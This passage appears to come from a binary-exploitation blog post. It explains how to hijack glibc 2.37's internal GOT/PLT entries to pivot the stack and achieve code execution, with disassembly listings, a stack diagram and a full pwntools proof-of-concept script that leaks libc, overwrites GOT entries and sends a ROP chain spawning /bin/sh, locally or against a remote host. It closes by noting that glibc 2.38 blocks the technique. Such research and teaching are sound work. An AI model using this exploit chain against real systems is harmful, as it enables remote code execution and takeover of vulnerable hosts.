.text:00000000001060E8 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:00000000001060EC mov     byte ptr [rdi+rdx], 0
.text:00000000001060F0 call    j_memcpy_0

.text:0000000000117971 lea     rdi, [rsp+21B0h+var_21A1]
.text:0000000000117976 mov     rsi, r13
.text:0000000000117979 mov     rdx, r14
.text:000000000011797C mov     dword ptr [rbp+var_58], r8d
.text:0000000000117980 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000117984 call    j_memcpy_0

.text:0000000000117A4E lea     rdi, [rsp+21B0h+var_21A1]
.text:0000000000117A53 mov     rdx, rcx
.text:0000000000117A56 mov     rsi, r13
.text:0000000000117A59 mov     [rbp+var_58], r8
.text:0000000000117A5D and     rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000117A61 mov     [rbp+var_50], rcx
.text:0000000000117A65 add     ebx, 1
.text:0000000000117A68 call    j_memcpy_0

.text:0000000000143883 lea     rdi, [rsp+68h+var_48]
.text:0000000000143888 mov     edx, r14d
.text:000000000014388B call    sub_13CB60
.text:0000000000143890 mov     r12, [rsp+68h+var_48]
.text:0000000000143895 test    r12, r12
.text:0000000000143898 jz      loc_1439D0
.text:000000000014389E movsxd  rax, [rsp+68h+var_4C]
.text:00000000001438A3 lea     rdi, [rax+rax*2]
.text:00000000001438A7 mov     dword ptr [rsp+68h+var_68], eax
.text:00000000001438AA shl     rdi, 2
.text:00000000001438AE call    j_malloc

.text:0000000000144D3E lea     rdi, [rsp+288h+var_230]
.text:0000000000144D43 call    sub_143BF0
.text:0000000000144D48 mov     rbp, rax
.text:0000000000144D4B test    rax, rax
.text:0000000000144D4E jz      loc_144B87
.text:0000000000144D54 mov     edi, 7Fh
.text:0000000000144D59 mov     esi, 1
.text:0000000000144D5E call    inet_makeaddr
.text:0000000000144D63 mov     edi, 10h
.text:0000000000144D68 mov     r12d, eax
.text:0000000000144D6B call    j_malloc

.text:000000000014E069 lea     rdi, [rsp+1270h+var_126B]
.text:000000000014E06E mov     rsi, r13
.text:000000000014E071 mov     [rsp+1270h+var_126C], 5Fh ; '_'
.text:000000000014E076 call    j_stpcpy

.text:000000000016A121 lea     rdi, [rsp+528h+var_510]
.text:000000000016A126 mov     edx, 20h ; ' '
.text:000000000016A12B lea     rsi, [rsp+528h+var_213]
.text:000000000016A133 call    j_strncpy

.text:000000000016A288 lea     rdi, [rsp+548h+var_530]
.text:000000000016A28D mov     edx, 20h ; ' '
.text:000000000016A292 call    j_strncpy

.text:000000000016C2A9 lea     rdi, [rsp+11D8h+var_11C0]
.text:000000000016C2AE mov     edx, 20h ; ' '
.text:000000000016C2B3 call    j_strncpy

.text:000000000016C471 lea     rdi, [rsp+348h+var_320]
.text:000000000016C476 mov     [rsp+348h+var_328], dx
.text:000000000016C47B mov     edx, 20h ; ' '
.text:000000000016C480 xor     ebx, ebx
.text:000000000016C482 call    j_strncpy

.text:000000000016C5D5 lea     rdi, [rsp+1C8h+var_1B0]
.text:000000000016C5DA mov     rsi, r13
.text:000000000016C5DD mov     [rsp+1C8h+var_1B4], eax
.text:000000000016C5E1 mov     eax, 7
.text:000000000016C5E6 mov     edx, 20h ; ' '
.text:000000000016C5EB adc     ax, 0
.text:000000000016C5EF mov     [rsp+1C8h+var_1B8], ax
.text:000000000016C5F4 call    j_strncpy

.text:000000000016C5F9 lea     rdi, [rsp+1C8h+var_18C]
.text:000000000016C5FE mov     edx, 20h ; ' '
.text:000000000016C603 mov     rsi, rbx
.text:000000000016C606 call    j_strncpy
.text:000000000016C60B mov     edx, 100h
.text:000000000016C610 lea     rdi, [rsp+1C8h+var_16C]
.text:000000000016C615 mov     rsi, r12
.text:000000000016C618 call    j_strncpy

Attack Chain

No doubt—strchrnul@got is a solid starting point, since it's reliably invoked by printf.

But the real question: where to jump?

Let's walk through one of the matched cases from the .LST findings:

ASM
.text:000000000016A288 lea     rdi, [rsp+0x18]
.text:000000000016A28D mov     edx, 20h ; ' '
.text:000000000016A292 call    j_strncpy

This assigns rdi value to somewhere near rsp, and then calls strncpy.got:

  • rdi = rsp + 0x18 → sets up rdi — the destination buffer very close to rsp
  • edx = 0x20 → sets the third argument (copy length)
  • call j_strncpy → this will jump to the address in strncpy@got

Next, we can overwrites strncpy@got to point to another gadget with 4 pops:

ASM
.text:00000000000CD548 pop     rbx
.text:00000000000CD549 pop     rbp
.text:00000000000CD54A pop     r12
.text:00000000000CD54C pop     r13
.text:00000000000CD54E jmp     j_wmemset_0
  • After the 4 pops, rsp has moved up 0x20 (4 × 8 bytes)
  • The initial lea rdi, [rsp+0x18] (from before the call) means:
    • It computed rdi = rsp + 0x18 before the call
    • But then 4 pops during the fake "strncpy" call cause rsp to advance
    • After these 4 pops, rdi effectively equals the new rsp

When jmp j_wmemset_0 happens, and if wmemset@got is further redirected to gets(), it becomes:

gets(rdi); // rdi == rsp

Boom — we're writing user input directly onto the stack. The ROP chain resumes from there.

This is a classic self-feeding pivot. We can use a diagram to explain the workflow:

         [lower address]              
+------------------------------+ 
|    value1 (pop → rbx)        |   ← rsp after call j_strncpy (pushed ret)
+------------------------------+
|    value2 (pop → rbp)        |   ← origin rsp before call j_strncpy
+------------------------------+
|    value3 (pop → r12)        |
+------------------------------+
|    value4 (pop → r13)        |
+------------------------------+
|       jmp j_wmemset_0        |   ← rsp+0x18 (set as rdi!)
|    hijack as jmp gets()      |   ← final rsp after 4 pops
+------------------------------+

        gets(rdi = rsp)
       reads input here: 
        [ROP gadget 1]
        [ROP gadget 2]
            ...
           
       [higher address] 

In summary, we need to:

  1. Overwrite strchrnul@got0x16A288 calling j_strncpy (__strncpy_avx2)
  2. Overwrite j_strncpy (strncpy@got) → 0xCD548 jumping to j_wmemset_0 (__wmemset_sse2_unaligned) after 4 pops
  3. Overwrite j_wmemset_0 (wmemset@got) → gets() and reads ROP gadgets

PoC Script

Download: link

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.37-0ubuntu2.2 (Ubuntu 23.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, Direct GOT call, j_strncpy, j_wmemset_0


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)
        
    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


class ROPGadgets:
    def __init__(self, libc: ELF): 
        self.rop = ROP(libc)
        self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None

        self.ggs = {
            'p_rdi_r'       : self.addr(['pop rdi', 'ret']),
            'p_rsi_r'       : self.addr(['pop rsi', 'ret']),
            'p_rdx_rbx_r'   : self.addr(['pop rdx', 'pop rbx', 'ret']),
            'p_r15_r'       : self.addr(['pop r15', 'ret']),
            'p_rax_r'       : self.addr(['pop rax', 'ret']),
            'p_rsp_r'       : self.addr(['pop rsp', 'ret']),
            'leave_r'       : self.addr(['leave', 'ret']),
            'ret'           : self.addr(['ret']),
            'syscall_r'     : self.addr(['syscall', 'ret']),
        }

    def __getitem__(self, k: str) -> int:
        return self.ggs.get(k)


def hijack_got(libc: ELF) -> (int, bytes):
    global STRNCPY_GOT_OFFSET
    global STRCHRNUL_GOT_OFFSET
    global WMEMSET_GOT_OFFSET

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    strncpy_got = got0 + STRNCPY_GOT_OFFSET
    strchrnul_got = got0 + STRCHRNUL_GOT_OFFSET
    wmemset_got = got0 + WMEMSET_GOT_OFFSET
    gets_addr = libc.sym.gets
    pa(got0)
    pa(plt0)
    pa(strncpy_got)
    pa(strchrnul_got)
    pa(wmemset_got)
    pa(gets_addr)

    # GOT order: strncpy -> strchrnul -> wmemset
    write_dest = strncpy_got

    """
    # Overwrite strchnul@got with:
    .text:000000000016A288 lea     rdi, [rsp+0x18]
    .text:000000000016A28D mov     edx, 20h ; ' '
    .text:000000000016A292 call    j_strncpy

    # Overwrite strncpy@got with:
    .text:00000000000CD548 pop     rbx
    .text:00000000000CD549 pop     rbp
    .text:00000000000CD54A pop     r12
    .text:00000000000CD54C pop     r13
    .text:00000000000CD54E jmp     j_wmemset_0

    # Overwrite wmemset@got with gets()
    """

    gg1 = libc.address + 0x16a288
    gg2 = libc.address + 0xcd548

    write_data = flat({
        0x0: gg2,
        STRCHRNUL_GOT_OFFSET - STRNCPY_GOT_OFFSET: gg1,
        WMEMSET_GOT_OFFSET - STRNCPY_GOT_OFFSET: gets_addr,
        })

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    # g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    ggs = ROPGadgets(libc)
    p_rdi_r = ggs["p_rdi_r"]
    p_rsi_r = ggs["p_rsi_r"]
    p_rdx_rbx_r = ggs["p_rdx_rbx_r"]

    rop_chain = flat(
            p_rdi_r,
            libc.search(b"/bin/sh\x00").__next__(),
            p_rsi_r,
            0,
            p_rdx_rbx_r,
            0, 0,
            libc.sym.execve,
            )

    pivot = ggs["p_rsp_r"]
    jump = ggs["p_r15_r"]

    write_dest, write_data = hijack_got(libc)

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    log.info("Send ROP gadgets chain:\n")
    sl(rop_chain)

    # pause()
    p.interactive()


if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    08:0040│  0x71427033f028 (*ABS*@got.plt) —▸ 0x7142701f66d0 (__wmemset_sse2_unaligned) ◂— endbr64
    12:0090│  0x7ffff7fac078 (*ABS*@got.plt) —▸ 0x7ffff7f2b780 (__strncpy_avx2) ◂— endbr64
    18:00c0│  0x7ffff7fac0a8 (*ABS*@got.plt) —▸ 0x7ffff7f296a0 (__strchrnul_avx2) ◂— endbr64
    1c:00e0│  0x7ffff7fac0c8 (*ABS*@got.plt) —▸ 0x7ffff7e636d0 (__wmemset_sse2_unaligned) ◂— endbr64"""
    STRNCPY_GOT_OFFSET = 0x90
    STRCHRNUL_GOT_OFFSET = 0xc0
    WMEMSET_GOT_OFFSET = 0xe0

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
        
    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

Inspecting the hijacked GOT entries:

Gadgets deployed in the trampoline chain:

And finally—pwned:

Patch

As mentioned in PoC 8, glibc 2.36+ introduced a patch marking GOT0 as read-only. But starting with glibc 2.38, things go further—all libc GOT regions are placed in read-only pages:

Tested environment:

$ /lib/x86_64-linux-gnu/libc.so.6

GNU C Library (Ubuntu GLIBC 2.38-3ubuntu1) stable release version 2.38.
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

With GOT entries fully protected, this closes the door on the hijack method explored above.

This marks the end of the attack chain.

Reference

https://veritas501.github.io/2023_12_07-glibc_got_hijack%E5%AD%A6%E4%B9%A0

https://github.com/n132/Libc-GOT-Hijacking

https://hackmd.io/@pepsipu/SyqPbk94a


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)